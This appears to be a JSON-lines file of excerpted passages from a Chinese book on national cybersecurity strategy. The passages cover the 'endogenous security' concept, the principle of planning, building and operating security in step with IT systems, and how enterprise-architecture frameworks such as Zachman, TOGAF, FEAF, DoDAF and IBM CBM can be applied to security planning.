    {"text": "2014年，中央网络安全和信息化领导小组成立（于2018年改为中国共产党中央网络安全和信息化委员会），标志着网络安全正式上升至国家战略层面。 2016年，《中华人民共和国网络安全法》和《国家网络空间安全战略》陆续发布，特别是2016年习近平总书记的“4·19”讲话，表明网络安全在国家发展战略中的地位越来越明确和突出。 2018年在全国网络安全和信息化工作会议上，习近平总书记发表重要讲话，深入阐述了网络强国战略思想。"},
    {"text": "2017年5月12日，“永恒之蓝”勒索病毒大规模爆发，全球至少150个国家、30万用户中招，波及金融、能源、医疗等众多行业，造成的损失达80亿美元。"},
    {"text": "2017年之后，《中华人民共和国密码法》《网络安全等级保护条例（征求意见稿）》《关键信息基础设施安全保护条例（征求意见稿）》《信息安全技术 关键信息基础设施安全检查评估指南》《网络安全审查办法》等配套法律法规陆续出台，我国的网络安全治理体系逐步完善。"},
    {"text": "1.2.2 网络安全的零散化发展 合规导向和事件驱动的网络安全建设模式、建设过程是为了满足合规的某些指标要求、某项新技术的出现，或者是应对某一单一威胁进行建设。"},
    {"text": "这种发展模式的特点，总结起来就是一种创可贴式的建设模式：网络安全发展没有自己的主线，旁从于信息化发展，对信息化系统进行修补。 与体系化发展的信息化相比，安全建设模式大多以“局部整改”为主，缺乏以复杂系统性思维引导的规划与建设实践，致使网络安全体系化缺失、碎片化严重，安全能力相互割裂，缺乏协同联动与整体运行。"},
    {"text": "建设上，重硬件产品轻安全运行，重设备采购轻架构安全的情况非常普遍，缺乏对网络安全工作目标的认知，认为满足合规即可保证安全，形成虚假的安全感，未能起到有效的防护作用。"},
    {"text": "但随着信息化进一步向数字化升级，这种缺乏顶层设计、工程化考虑不足的模式，已经难以达到保障数字化业务的更高标准，更达不到国家网络空间安全战略的要求，无法以面向对抗的实战化运行模式应对升级的威胁。"},
    {"text": "1.2.3 网络安全建设方法论的缺失 处于快速发展中的数字化转型阶段的信息化领域，政企机构采用企业架构（Enterprise Architecture，EA）方法论为引导，在管理层、IT人员和业务人员之间建立充分沟通的桥梁并达成共识，以顶层视角全局思考信息化建设，使信息化与业务紧密结合，各子系统间形成有效联动，消除功能重复建设，引导规划建设大规模、体系化、高效整合的业务运营体系，很好地支撑了业务运营。 与之形成强烈反差的是在网络安全领域，建设者普遍缺乏以复杂系统思维引导的规划与建设实践，导致形成了以往以“局部整改”“辅助配套”为主的安全建设模式，致使网络安全体系化缺失、碎片化严重，网络安全防御能力与数字化业务运行的高标准保障要求严重不匹配。 长期以来，由于政企机构网络安全体系的基础设施完备度不足，安全对信息化环境的覆盖面不全，与信息化各层次结合程度低，安全运行可持续性差，应急能力就绪度低，资源保障长期不充足，导致政企机构在面对“当前数字化业务的平稳、可靠、有序和高效运营是否得到了充足的网络安全保障？"},
    {"text": "对比国内的网络安全与信息化的发展历程，我们不难发现： ● 从政策驱动来看，网络安全工作与信息化工作几乎是同时起步（1993-1994年），但是发展速度却大相径庭； ● 从重视程度来看，直到最近几年，国家才从战略层面开始高度重视网络安全，网络安全建设被提升到与信息化建设相同的地位，故而提出“一体之两翼，驱动之双轮”；"},
    {"text": "图1.1所示为信息化发展历程与网络安全发展历程的对比。 图1.1 信息化发展历程与网络安全发展历程的对比 20世纪80年代到20世纪90年代初，信息化建设和网络安全建设都处于比较原始的状态。"},
    {"text": "对于生产和办公而言，信息化建设是辅助性的，而网络安全建设则几乎普遍缺失，只有当某些极端或严重的安全事件发生时，才有可能触发一些小规模的安全建设。"},
    {"text": "直到2010年以后安全能力建设才被逐步认可，可运行的、可与信息化结合的网络安全建设模式开始受到重视。 2018-2020年，以“内生安全”为代表的体系化的、主动的、以三同步为原则（信息化系统应当与网络安全系统同步规划、同步建设、同步运营）的安全建设思想及方法论才逐步形成体系。 总体对比中国的信息化发展历程与网络安全发展历程不难看出，缺少科学的、系统性的方法论，是网络安全建设始终显著落后于信息化建设的重要原因之一。"},
    {"text": "2014年，中央网络安全和信息化领导小组第一次会议召开时，习近平总书记强调，网络安全和信息化是一体之两翼、驱动之双轮，必须统一谋划、统一部署、统一推进、统一实施。 做好网络安全和信息化工作，要处理好安全和发展的关系，做到协调一致、齐头并进，以安全保发展、以发展促安全，努力建久安之势、成长治之业。 上述要求指明了网络安全与信息化相互依存、同步发展的大方向，明确了“四个统一”缺一不可的体系化建设要求。 2016年，在“4·19网络安全和信息化工作座谈会”上，习近平总书记提出“安全是发展的前提，发展是安全的保障，安全和发展要同步推进。 要树立正确的网络安全观，加快构建关键信息基础设施安全保障体系，全天候全方位感知网络安全态势，增强网络安全防御能力和威慑能力”的要求。 随着全球经济全面进入数字化转型期，我国也提出了“数字中国”“网络强国”等一系列与数字化转型紧密相关的战略部署，将数字化转型作为重要发展战略与经济驱动力。 数字化转型是在信息化极大地降低了政企机构运行成本的基础上，进一步将信息技术与政企机构业务运行、管理流程融合在一起，形成新的业务运行模式。 2020年3月，中共中央政治局常务委员会召开会议提出，要加快5G网络、数据中心等新型基础设施的建设进度。 与传统基建相比，“新基建”内涵更加丰富，涵盖范围更广，更能体现数字经济特征，有助于加速推动中国经济转型升级。 在数字化转型为政企机构的业务运行带来巨大收益的同时，信息技术与业务的深度融合也使网络安全风险更具有实质性的意义。"},
    {"text": "政企机构信息系统一旦被入侵或被破坏，将会直接危害到业务运行，进而危害到生产安全、社会安全甚至国家安全。 数字化转型对政企机构运行模式的转变是颠覆性的、不可逆转的，传统的信息化模式也将无法满足目前经济环境下的业务运行要求。 因此，政企机构必须立足于有效保障数字化业务运行的安全、高效、可靠运行，建设具有动态、综合、可持续等特点的数字化业务安全保障体系。"},
    {"text": "“十四五”是数字化转型的关键阶段，网络安全模式亟需转变。 广大政企机构需把握住“十四五”的契机，践行安全与信息化同步规划、同步建设、同步运行思想，通过安全规划承接国家网络安全战略，建立从顶层设计、部署实施到安全运行的一整套网络安全新模式，使网络安全向面向对抗的实战化运行模式升级。"},
    {"text": "1.4 数字化时代的安全新挑战 数字化是信息化发展的高级形态，主要表现为多种新型数字化技术对生产方式的深刻改变以及与传统领域的业务融合。"},
    {"text": "国内著名产业研究机构“前瞻产业研究院”的一份报告中称：从2018年开始，中国企业数字化转型加速，政企加速云化进程，大数据应用于企业管理经营决策。"},
    {"text": "如果说网络安全建设在过去20年的滞后发展，使得信息化建设的快速发展没有得到充分的保护，那么在数字化时代，系统性的网络安全建设方法的缺失，将为生产、生活、经济发展、社会稳定乃至国家安全带来深远的影响和致命的伤害。"},
    {"text": "1.4.1 数字化时代的产业新形态 IT在经历了大型机、小型机、PC、互联网等持续的技术变革后，已经进入以云计算、大数据和人工智能为核心的新一轮技术创新周期。 近十年，伴随着移动互联网、大数据、云计算、物联网、人工智能等新兴技术的发展，政企信息化也开始向数字化、网络化、智能化方向发展。 特别是云计算技术的成熟，推动了IT基础架构的巨大变迁，将传统独立垂直的硬件设施资源虚拟化为融合共享的云基础设施，分时复用、按需付费的模式降低了系统部署门槛的同时，也打破了传统系统的独立的烟囱式架构，实现了当前“数据融合共享、应用协同交互”平台型架构的重塑。"},
    {"text": "● 战场的变化，从网络与系统演变到 “云、大、物、移、工” 新技术的应用也会带来新的安全风险。 例如：IT基础设施和业务系统向云的迁移，必然导致安全风险向云端集中； IoT设备接入生产、办公系统，必然形成新的不可控的安全缺口；"},
    {"text": "如果我们总是孤立地去解决一个一个的具体问题，或者是简单地使用某些单一的、片面的技术方法，则无法真正有效地解决“新战场”上的安全问题。"},
    {"text": "但2017年以后，以关键信息基础设施、网络服务器为目标的勒索攻击逐渐成为主流，并且出现了大量可以自动传播的勒索蠕虫病毒。 2018年以来，勒索病毒几乎成为导致政企机构停产停工的首要网络安全威胁。"},
    {"text": "一方面，政府支持的APT活动正在持续增加，这些攻击者往往拥有大量的资源、工具和技术，使得APT溯源难度显著提升； 另一方面，由于APT组织的网络武器库频繁泄露，使无政府背景的攻击者更容易获取资源，从而实施难以被发现的、新的、复杂的APT攻击。"},
    {"text": "当攻击者遇到难以直接攻破的组织或系统时，就会考虑发起供应链攻击，即对该组织的供应商发起攻击，或对供应商的供应商发起攻击，最终实现对攻击目标的渗透。"},
    {"text": "对手的变化、武器与战术的变化，要求我们必须以“系统一定会被打穿”为安全建设的前提假设。 而打击目标的变化，要求我们必须把数据和业务的安全保障作为安全建设的首要目标。"},
    {"text": "1.5.1 围墙式安全 早期的网络安全建设思想大都是围墙式的。 自20世纪80年代全球首个杀毒软件诞生，一直到本世纪初的十几年间，围墙式安全一直是网络安全建设的主导思想。"},
    {"text": "围墙式安全思想也曾经发挥过非常积极的作用，但在数字化的生产环境中，在新的安全威胁形势下，却暴露出以下3个明显的弊端： ● 围墙之内不设防，一旦边界被突破，系统就会完全沦陷；"},
    {"text": "人们开始考虑在内部业务系统的IT环境中部署更多的安全措施，并且将各种安全措施与云端相连（即安全上云），并通过外部（来自安全公司）安全大数据与内部（来自各类安全措施）安全大数据的结合，提升整体安全防护能力。"},
    {"text": "EDR（终端检测与响应）技术、NDR（网络检测与响应）技术、NGSOC（新一代安全运营平台）、态势感知等基于大数据的安全产品与服务日渐普及，并极大地推动了政企机构整体安全能力的提升。"},
    {"text": "不过，数据驱动安全的早期实践还有一些明显的不足，其主要问题在于仍然没有能够从根本上解决业务或生产系统的安全问题，主要原因有以下几个方面。"},
    {"text": "虽然很多安全措施部署在业务系统的IT环境中，但绝大多数安全措施及解决方案并不是为业务系统量身设计的，仍然是以传统IT安全为目标的各种技术手段的组合。"},
    {"text": "● 其次，由于未能将业务大数据与安全大数据进行融合分析，因此无论是来自内部的安全大数据还是外部的威胁情报，其实际作用都会大打折扣。"},
    {"text": "不过，客观来说，“数据驱动安全”理念的实践为“内生安全”思想的提出奠定了重要的基础。 同时，“数据驱动安全”理念本身也是“内生安全”思想的重要组成部分。 只不过在后来的“内生安全”思想体系中，驱动安全的“数据”范畴被大大扩展，从单纯的安全大数据扩展到业务大数据，最终实现了外部安全大数据、内部安全大数据与业务大数据的深度融合与统一。"},
    {"text": "我们需要的并不只是一层比一层更加坚固的防护罩，而是一种本身能够与信息化环境相融合的安全能力，做到与信息化环境的深度融合与全面覆盖，从而构建本身就具有内在“免疫力”和“抵抗力”的新型信息化环境。"},
    {"text": "这就要求我们必须以信息化的视角、业务的视角和全局的视角，来重新构筑整个网络安全防护体系； 要求我们必须将网络安全的元素融入到信息化建设的方方面面； 要求我们必须在信息化建设中，全面落实“三同步”原则，即信息化系统应当与网络安全系统同步规划、同步建设、同步运营。"},
    {"text": "以该思想为指导的“新一代网络安全框架”，及该框架下的“十大工程、五大任务”，已经成为指导大中型政企机构网络安全规划建设的重要参考。"},
    {"text": "未知 第2部分 什么是内生安全 第2章 内生安全的内涵与特性 第3章 内生安全建设的方法论基础 第4章 新一代网络安全框架 第2章 内生安全的内涵与特性 2.1 内生安全的理念 内生安全，就是在信息化环境内不断衍生出安全能力，即使网络的边界防御被打穿，系统仍然能够在一定程度上保持健康运行，并保证数据和业务安全。 内生安全是一种全新的网络安全建设思想。"},
    {"text": "具体来说，就是当用户需要保护一个系统时，就在该系统的外面设置一层防护罩，将系统与外界环境隔离开来。 小到一款杀毒软件，大到整个机构的边界防御，其实质都是在隔离的基础上进行防护。"},
    {"text": "内生安全的根本目标是保障业务和业务系统的安全，而不是单纯地保障IT系统和IT设备的安全。 所以，内生安全要求在信息化环境内部建设安全能力，使生产系统、业务系统自身具有一定的免疫力，而不是完全依赖于系统之外的隔离和防护。 内生安全落地实现的保障机制是“三同步”原则，即信息化系统与网络安全系统必须同步规划、同步建设、同步运营。 只有把网络安全工作贯穿到信息化系统的规划、建设、运营的整个生命周期，将信息化建设与运维工作相结合，将网络安全的防护与响应过程相结合，达到工作任务事项级别的深度绑定，才能够真正实现具有免疫力的内生安全系统。 1.同步规划 同步规划，是内生安全的关键与起点，强调关口前移与预算保障。 具体指在信息化系统的设计规划中，充分考虑网络安全，确保网络安全成为信息化系统的有机组成。 首先通过与信息化同步规划安全体系，落实“关口前移”，实现安全与信息化的深度结合和全面覆盖。 然后通过规划来解决各层级、各业务口对网络安全的理解不一致。 2.同步建设 同步建设是内生安全的落地和保障，强调在信息化建设的方方面面充分考虑引入并融合安全能力。 既要积极建设网络安全基础设施，又要开展信息系统内建安全机制的建设。 安全能力建设需要基于“叠加演进”的原则，既要积极建设网络安全基础设施，又要建设信息系统内在安全机制。 3.同步运营 同步运营，是内生安全的生命，通过规划、建设形成的安全能力需要具备运营、技术、人和管理规范，才能形成一个完整体系，将安全能力有效输出。"},
    {"text": "2.2 内生安全的特点 内生安全要求信息系统的安全体系具有自我免疫（自适应安全能力）、内外兼修（自主安全能力）、自我进化（自成长安全能力）三大特点。 1.自我免疫（自适应安全能力） 自我免疫，是指安全系统必须像人体免疫系统一样，具有自适应功能，即使网络被攻破，也能保证业务安全。 网络安全与人的身体健康同理：人之所以能保持健康，是因为当病毒和细菌入侵时，免疫系统会调动各种防御力量来消灭病菌。"},
    {"text": "要实现自适应的安全能力，需要将信息化系统与安全系统相聚合，将信息化系统中的网、云、数据、应用、端分层解耦，以便把安全能力融入其中。"},
    {"text": "为了使安全能力业务需求满足，还需要将接口、协议、数据标准化，以实现异构兼容。 同时安全系统也要进行解耦，将安全能力资源化、目录化，通过标准接口进行协同。"},
    {"text": "实现这种聚合后，安全能力即可融入到业务系统的各个环节中，好比业务系统内生出了一种安全能力。 这种聚合联通了网络控制系统和业务控制系统，当网络检测到攻击时，业务控制系统会自动收紧安全访问控制权限；"},
    {"text": "要实现自主安全能力，需要将业务数据和安全数据相聚合。 数据既是业务的核心，也是解决安全问题的核心。 以往安全关注的是网络运行数据，但要建立自主的内生安全，还必须关注相关的业务数据。 这些业务数据包括业务元数据、业务访问行为数据等。"},
    {"text": "聚合上述两种数据，需要建立起业务与安全统一的“实体关系”数据模型，把不同的数据聚合成一个完整的安全数据视图，通过检索、AI及更广泛的知识来发现隐藏在多层关系背后的安全问题。"},
    {"text": "3.自我进化（自成长安全能力） 自我进化，是指安全体系必须能够伴随着业务的成长和变化，在不断抵抗各类网络攻击的过程中，不断自我改进和自我完善。"},
    {"text": "只有将IT人才和安全人才聚合起来，才能使安全系统有效运转。 所以，企业与组织在建设自身安全体系时，不能只考虑技术体系的IT人才建设，安全人才的投资建设也非常关键。 在规划阶段，提前进行安全人才储备，将IT人才和安全人才聚合起来，是后续安全系统发展壮大的根基。"},
    {"text": "1.新基建与数字化 2018年12月，中央经济工作会议在确定2019年重点工作任务时提出“加强人工智能、工业互联网、物联网等新型基础设施建设”，这是新基建首次出现在中央层面的会议中。 2020年3月4日，中共中央政治局常务委员会召开会议，强调“加快5G网络、数据中心等新型基础设施建设进度”。 2020年4月20日，国家发改委在新闻发布会上首次明确了新型基础设施的范围。 新型基础设施是以新发展理念为引领，以技术创新为驱动，以信息网络为基础，面向高质量发展需要，提供数字转型、智能升级、融合创新等服务的基础设施体系。 国家发改委对新型基础设施的内容给出了权威解释，主要包括以下3方面内容。 ● 信息基础设施：主要包括以5G、物联网、工业互联网为代表的通信网络基础设施； 以人工智能、云计算、区块链等为代表的新技术基础设施； 以数据中心、智能计算中心为代表的算力基础设施等。 ● 融合基础设施：主要指深度应用互联网、大数据、人工智能等技术，支撑传统基础设施转型升级，进而形成的融合基础设施。 例如，智能交通基础设施、智慧能源基础设施等。 ● 创新基础设施：主要是指支撑科学研究、技术开发、产品研制的具有公益属性的基础设施。 例如，重大科技基础设施、科教基础设施、产业技术创新基础设施等。"},
    {"text": "2.新基建的安全特点 从网络安全的角度看，新基建具有覆盖范围广、系统复杂度高、系统暴露面大、安全事故损失大等特点。 ● 覆盖范围广 无论是从技术角度、产业角度还是地域角度来看，新基建的覆盖范围都是非常广泛的，因此不可能采用“孤岛式”或“分片式”的方法对新基建系统进行安全管理，而是需要一种大范围可控的安全建设方法。"},
    {"text": "能否为新基建搞好安全基础建设，成为部署网络安全工作的一大考验。 我们必须全盘考虑新基建的网络安全建设问题，以及网络边界被打穿后的系统安全及可靠性问题。 这就要求我们必须从整个新基建系统的规划设计之初，以内生安全的建设思想为指导，充分考虑安全问题，深植网络安全能力，保持高水平安全运维，并为系统提供可升级、可扩展的安全方案，确保在各种网络安全风险环境中，都能有效地保障数据和业务安全。"},
    {"text": "按照传统的网络安全建设思路，网络安全的规划建设与业务系统的发展是相互独立的，面对不断变化和调整的业务系统，网络安全的滞后性和延迟性问题将不断凸显。 这必然导致网络安全能力与信息化发展不匹配，结果是信息化系统建设得越多，安全漏洞就越多，发生安全事故的风险也越大。 政企机构的网络安全防护能力需要与信息化系统、业务系统的建设同步成长。 只有按照内生安全的建设思想，将业务系统与安全系统深度聚合，IT人员与安全人员深度聚合，实现安全能力与业务能力的同步增长和动态增长，才能实现可持续的安全能力。 业务系统与安全系统深度聚合可以有效解决安全与业务相互独立的问题，实现安全能力与业务系统的深度融合，实现对业务系统的安全防护需求的动态响应。 IT人员与安全人员的深度聚合可以提升系统本身的安全性，最大限度地减少安全漏洞和由此带来的安全风险，改变“系统越多，漏洞越多，风险越大”的传统局面，做到在源头降低安全风险。"},
    {"text": "在网络攻击手段日益复杂、系统漏洞层出不穷、内部风险和业务风险日益突出的背景下，传统的安全理念和防护手段无法真正降低安全风险和减少损失。"},
    {"text": "这里的管理不是传统意义上的管理，它既不是单纯的人员管理、行政管理、体制机制管理，也不是传统的条文式管理、流程式管理，而是一套“新管理”模式。"},
    {"text": "它由数据驱动，通过与安全体系中的能力平台和服务平台有效对接，实现对安全技术、安全运行等各方面要素的有效管理，从而发现和规避黑客利用安全体系中的漏洞发起的攻击，克服人的不可靠性，弥补人的能力不足。"},
    {"text": "这种新管理模式的表现形式，可以是网络安全管理平台，也可以是网络安全管理运营中心。 内生安全，代表的正是这种新形态的网络安全管理模式。"},
    {"text": "它采用“一个中心、五个滤网”模式，从网络、数据、应用、行为、身份五个层面来有效实现对网络安全体系的管理，从而构建无处不在、处处结合、实战化运行的安全能力体系。"},
    {"text": "这种新管理模式，需要有强大的能力体系支撑，需要采用工程化、体系化的方式进行实施，这套方法的成果构成了内生安全框架。 2.4.2 管理的关键是框架 实现内生安全是一套复杂的系统工程，需要采用工程化、体系化的方式实施，实现它的关键就是安全框架。 内生安全框架有3个重点：“厘清楚”“建起来”“跑得赢”，目的是通过“新管理”，使网络安全体系具有动态防御、主动防御、纵深防御、精准防护、整体防护、联防联控的能力。 实现内生安全所代表的这种新形态的网络安全管理是一套复杂的系统工程，它需要一个新形态的能力体系作为支撑，需要采用工程化、体系化的方式来实施，其实现关键是安全框架。 在信息化系统的功能越来越多、规模越来越大、与用户的交互越来越深的情况下，即使是最先进的单一的、堆叠的安全产品和服务，也无法保证不被黑客穿透，但内生安全系统能够使安全产品和服务相互联系、相互作用，在整体上具备单个产品和服务缺失的功能，从而保障复杂系统的安全。 建设内生安全采用的就是系统工程的思想。 内生安全框架是从工程实现的角度，针对我国的国情研制出来的，它将安全需求分步实施，逐步建立面向未来的安全体系。 该框架从顶层视角出发，支撑各行业的建设模式从“局部整改外挂式”走向“深度融合体系化”，在数字化环境内部建立无处不在的网络安全“免疫力”，真正实现内生安全。 内生安全体系建设，需要先体系化地梳理、设计保障政府和企业数字化业务所需要的安全能力，才能确保这些安全能力能够融入到信息化与业务系统中去。 在设计的过程中，我们要根据政府和企业自身信息化项目的实际情况，对安全能力进行挑选、组合和规划，制定明确标准。 融合是建设的关键，将安全能力深度融入物理、网络、系统、应用、数据与用户等各个层次，确保深度结合； 还要将安全能力全面覆盖云、终端、服务器、通信链路、网络设备、安全设备、工控、人员等要素，避免局部盲区，实现全面覆盖。"},
    {"text": "在具体的建设过程中，需要一个全景化的技术部署模型，全面描绘政企机构的整体网络结构、信息化和网络安全的融合关系，以及安全能力的部署形态。 在这个基础上，我们就可以把所有的安全能力组件分别以系统、服务、软硬件资源的形态，合理部署到信息化系统的不同区域、节点、层级中。"},
    {"text": "2.4.3 框架的关键是组件化 从安全系统与信息化系统聚合的实施角度来看，如果割裂地对老系统采用老办法，新系统采用新办法，当老系统将来被替代时，安全系统也不得不替换掉，从而造成巨大的浪费。 这就要求对安全体系进行“统一设计，分步实施”，在体系的基础上，将安全框架组件化，使这些组件作为新体系的一部分部署到老系统中，从而适应信息化系统这种渐进式的、“立新破旧”的过程，避免不断地重建安全系统，并确保现在安全系统的投资是面向未来的。"},
    {"text": "遵循这样的经验，采用工程化的思想，将体系中的安全能力映射成为可执行、可建设的网络安全能力组件，构成内生安全框架，然后将这些组件与信息化进行体系化的聚合，是安全框架落地的关键。"},
    {"text": "为了穷尽安全能力组件的类型，我们研究了针对党、政、军、央企、金融等大型机构网络安全的新技术产品和服务体系，为这些体系设计并解构出了十个网络安全工程，以及五方面的支撑能力任务，亦称“十大工程、五大任务”，简称“十工五任”。 “十工五任”是内生安全框架的具体落地手册，具备一个复杂庞大的信息化系统所需要的全部安全能力。"},
    {"text": "第3章 内生安全建设的方法论基础 3.1 EA方法论简述 过去20年，无论国内还是国外，EA（Enterprise Architecture，企业架构）方法论在引导与推动大规模、体系化、高效整合的信息化建设，支撑各行各业科学地展开业务运营等方面起到了至关重要的作用。"},
    {"text": "我们在将EA方法论借鉴应用到网络安全时，哪些思想可以实际应用，哪些思想只是作为参考开阔思路，而不适合在我国的网络安全领域具体落地？"},
    {"text": "3.1.1 EA的定义 EA是通过创建、沟通和提高用以描述企业未来状态和发展的关键原则，进而将商业愿景和战略转化成有效的企业变更的过程。"},
    {"text": "EA方法主要用于演进或维护现存的信息技术体系，或是引入新的信息技术体系，以实现组织的战略目标和信息资源管理目标。 EA的重要目的是将跨组织的、零散的遗留流程（人工或自动）优化进一个集成的环境，使其可以及时响应变更，并有效地支持业务战略的交付。 如果说企业是具有一系列共同目标的组织的集合，那么EA则是为了有效地实现这一目标，去定义企业的结构和运作模式的概念蓝图；"},
    {"text": "EA是企业顶层设计的图纸，决定企业结构、组成部分、各部功能、空间关系等元素。 一般而言，EA可以分为两大部分：业务架构和IT架构。 目前大部分EA方法都是从IT架构发展而来的。"},
    {"text": "● 业务架构：是把企业的业务战略转化为日常运作的渠道。 业务战略决定业务架构，包括业务的运营模式、流程体系、组织结构、地域分布等内容。"},
    {"text": "3.1.2 EA的诞生与演变 1987年，美国人John Zachman在其发表的A Framework for Information Systems Architecture论文中首次提出了“信息系统架构框架”的概念，由此奠定了EA的理论基础。"},
    {"text": "美国国家标准与技术研究院（National Institute of Standards and Technology，NIST）于1989年发布企业架构模型（NIST EA Model），于1999年发布联邦企业架构框架（Federal Enterprise Architecture Framework，FEAF），于2003年发布国防部体系架构框架（Department of Defense Architecture Framework，DoDAF）。"},
    {"text": "还有IBM使用的CBM（Component Business Model，组件化业务模型），美国情报体系使用的JARM（Joint Architecture Reference Model，联合架构参考模型），这些都是业界实践后抽取出来的标准方法论。"},
    {"text": "这些典型的方法与框架，将在3.1.4节与3.1.5节进行概要性的阐述，以帮助我们更好地理解EA的方法论思路，并考虑如何借鉴应用到网络安全领域。"},
    {"text": "3.1.3 EA的作用 很多企业在进行信息化建设时，常常以技术为主导，仅将关注点放在当前问题的IT实现上，缺乏全局思考，经常与业务脱节。"},
    {"text": "在外部环境迅速变化、内部环境日益复杂的情况下，一个完备而科学的EA就显得极为重要，它可以在利益相关者之间、信息系统之间、人与系统之间搭建无障碍的沟通桥梁，保障各方拥有共同的理解与愿景。"},
    {"text": "3.1.4 典型的EA框架 1.Zachman框架 Zachmam框架的全称是企业架构和信息系统架构Zachman框架（Zachman Framework for Enterprise Architecture and Information Systems Architecture）。"},
    {"text": "● 横向维度采用6W（What、How、Where、Who、When、Why）进行组织，分别为什么（数据）、如何（功能）、哪里（网络）、谁（人员）、何时（时间）、为什么（动机）。 ● 纵向维度反映了IT架构层次，分别为范围（规划人员）、企业模型（系统所有人员）、系统模型（体系结构设计人员）、技术模型（构建人员）、详细模型（集成人员）、功能模型（用户）。"},
    {"text": "● 规划人员关注范围模型，能够看到企业的发展方向、业务宗旨和系统边界范围。 ● 系统所有人员关注企业模型，能够使用企业术语定义企业的本质，看到的是企业的结构、处理、组织等。 ● 体系结构设计人员关注系统模型，能够使用更严格的术语定义企业业务，看到的是每项业务处理所要完成的功能。 ● 构建人员关注技术模型，使用技术模型来解决企业业务的信息处理需求。"},
    {"text": "2.TOGAF TOGAF全称为The Open Group Architecture Framework，是由致力于技术标准制定和推广的非营利组织The Open Group制定的用于开发EA的方法，是目前具备影响力的主流EA框架之一，主要应用于企业。 TOGAF是一种协助开发、验收、运行、使用和维护架构的工具。"},
    {"text": "3.FEAF FEAF（Federal Enterprise Architecture Framework，联邦企业架构框架）是从美国国家标准与技术研究院EA模型（NIST EA Model）的基础上扩展而来的，以使其满足美国联邦政府治下机构及企业架构的组织和管理需求。"},
    {"text": "▷ 架构推动者（Architecture Driver） ▷ 战略方向（Strategic Direction） ▷ 当前架构（Current Architecture） ▷ 目标架构（Target Architecture） ▷ 转换过程（Transitional Process） ▷ 架构片段（Architectural Segment） ▷ 架构模型（Architectural Model） ▷ 标准（Standard） ● 第二层次将架构驱动力、当前架构、目标架构以及架构模型的内容，从业务和设计两方面进行了细化。"},
    {"text": "● 第四层次通过借鉴EA规划技术，为业务架构模型的建立提供了方法，从不同的角色视角与六个方面（What、How、Where、Who、When、Why）出发，完整描述出EA应包含哪些内容。"},
    {"text": "4.DoDAF DoDAF（Department of Defense Architecture Framework）是由美国国防部的工作小组制定的系统架构框架，于1996年6月推出，主要用于指导国防信息化建设。 DoDAF的前身是“指挥、控制、通信、计算机、智能、监视和侦察”（Command, Control, Communications, Computers, Intelligence, Surveillance and Reconnaissance）架构框架。"},
    {"text": "● 从初期的三大视图（作战视图、技术视图和系统视图）更新到现有的8种视图，分别是全视图、数据与信息视图、标准视图、能力视图、作战视图、服务视图、系统视图和项目视图；"},
    {"text": "3.1.5 组件化业务模型 CBM（Component Business Model，组件化业务模型）是IBM开发的业务模型组件化的方法，通过将组织活动重新分组到数量可管理的离散化、模块化和可重用的业务组件中，帮助企业实现有组织的提供服务的能力，实现内部、外部的专业化。"},
    {"text": "1.业务组件 业务组件是CBM的核心概念，是构建专业化企业的功能模块，每个组件包含5个维度，如图3.3所示。 图3.3 业务组件的5个维度 ● 业务用途（business purpose）：组件的业务用途是其在组织内部存在的意义，表现为该组件向其他组件提供的价值。"},
    {"text": "业务组件的优势之一来自组件之间通过松散耦合方式进行链接，具备灵活、快速响应、适应性强的特点，另外一个优势是组件内各活动的凝聚力强，可对外提供高效率、高质量的服务。"},
    {"text": "战略决策（引导）主要向其他业务组件提供战略、总体方向和公司政策，聚焦于明确战略的发展方向，建立总体的方针政策，调配资源，管理和指导各个业务板块。"},
    {"text": "管理检查（控制）主要指企业的管理活动，如监控、管理特殊情况和战术决策等业务，负责把战略落实到运营过程中，并监控和管理业务指标与企业员工，发挥监管资产和信息的作用。"},
    {"text": "3.2 内生安全思想与EA方法论 内生安全是信息化与网络安全发展的内在要求，是解决复杂体系网络安全问题的必由之路，但实现内生安全需要有实践基础上的方法论的指引。 EA方法论是指导政企机构信息化建设行之有效的方法论，非常值得日益复杂的网络安全领域进行借鉴。 尽管EA的各类实现框架并不能简单地套用在网络安全的规划建设上，很多也不能完全适应本土化的网络安全建设环境，但其核心思想和方法体系却可以为我们实现内生安全思想指引下的新一代网络安全框架的设计提供有力的支撑和借鉴。 3.2.1 采用系统性框架指引网络安全建设 作为系统工程思想在信息化领域的应用，EA方法要求我们打破零散式的规划与建设，系统性地构建信息化体系，从而引导与推动大规模、体系化、高效整合的信息化建设。 但是与信息化发展不同的是，网络安全行业一直缺乏与信息化系统工程方法相匹配的框架，来指导未来的网络安全体系建设。 尤其在数字化转型不断深入的过程中，需要有一套行之有效的以系统工程方法论结合“内生安全”理念而形成的网络安全规划建设框架，引导政企等大型机构规划和建设网络安全。 我们要做的是从EA的方法体系与各种框架中找到适合中国网络安全状况的方法，并结合我国的实际国情，加以开发与利用，以及结合内生安全理念，形成适用于网络安全的框架、方法、配套工具等。 这里也需要特别说明，传统的EA框架中也包含网络安全的内容，但这里的网络安全更多是提出了安全需求，而不是体系化地阐述如何去进行网络安全的能力建设，这与我们的目的是有区别的。 在这项工作中，我们在使用EA方法论时，需要清晰地理解其真正的目的是为了帮助政企等大型机构厘清并实现其所需要具备的网络安全能力体系，而不是为了建设某种系统。 政企机构所需要具备的网络安全能力体系是什么、包含什么，以及应该如何有序地进行构建并真正运行起来才是关键。"},
    {"text": "● 汲取IBM CBM方法中的能力组件思路，能够帮助我们确定在一个大型机构的业务与信息化环境中，或者更广阔的网络空间中，网络安全需要形成多少种能力，这些能力应该在哪里建设，以及如何有序地建设，才能够形成该机构所需要的完整的全局的网络安全能力体系。"},
    {"text": "● 汲取EA 3 Cube架构中的多视角思维，结合我国大型机构的实际需求，从“技术、管理、运行”多方面视角来对网络安全的能力覆盖进行展开。 ● 我们还可以汲取JARM中的多层级思路，将一个大型机构的信息化环境进行多层级的划分，在每个层级上结合整体的网络安全能力体系分类，以及组件化思维，形成更精细的、层次化的网络安全能力组件，从而指导政企机构的网络安全体系的设计与建设落地。"},
    {"text": "应当综合考虑业务现状与信息化环境的未来发展，规划设计与之相匹配的网络安全能力体系，并像建设信息化一样，将网络安全的能力与信息化环境融合内生，全面覆盖，深度融合，从而保障政企核心业务的顺畅运行。 应用上述思路，我们可以形成一套全面的实用型框架，以及配套的方法论、工具集，从而为网络安全的建设模式升级提供方法与依据。 本书后续章节将要介绍的“新一代企业网络安全框架”（以下简称“新框架”）就是结合网络安全、系统工程与项目管理，以及大量国内政企机构信息化与网络安全建设的实践经验，总结成一套适合于国内政企机构，特别是大中型政企机构信息化发展的、系统性的网络安全建设框架。"},
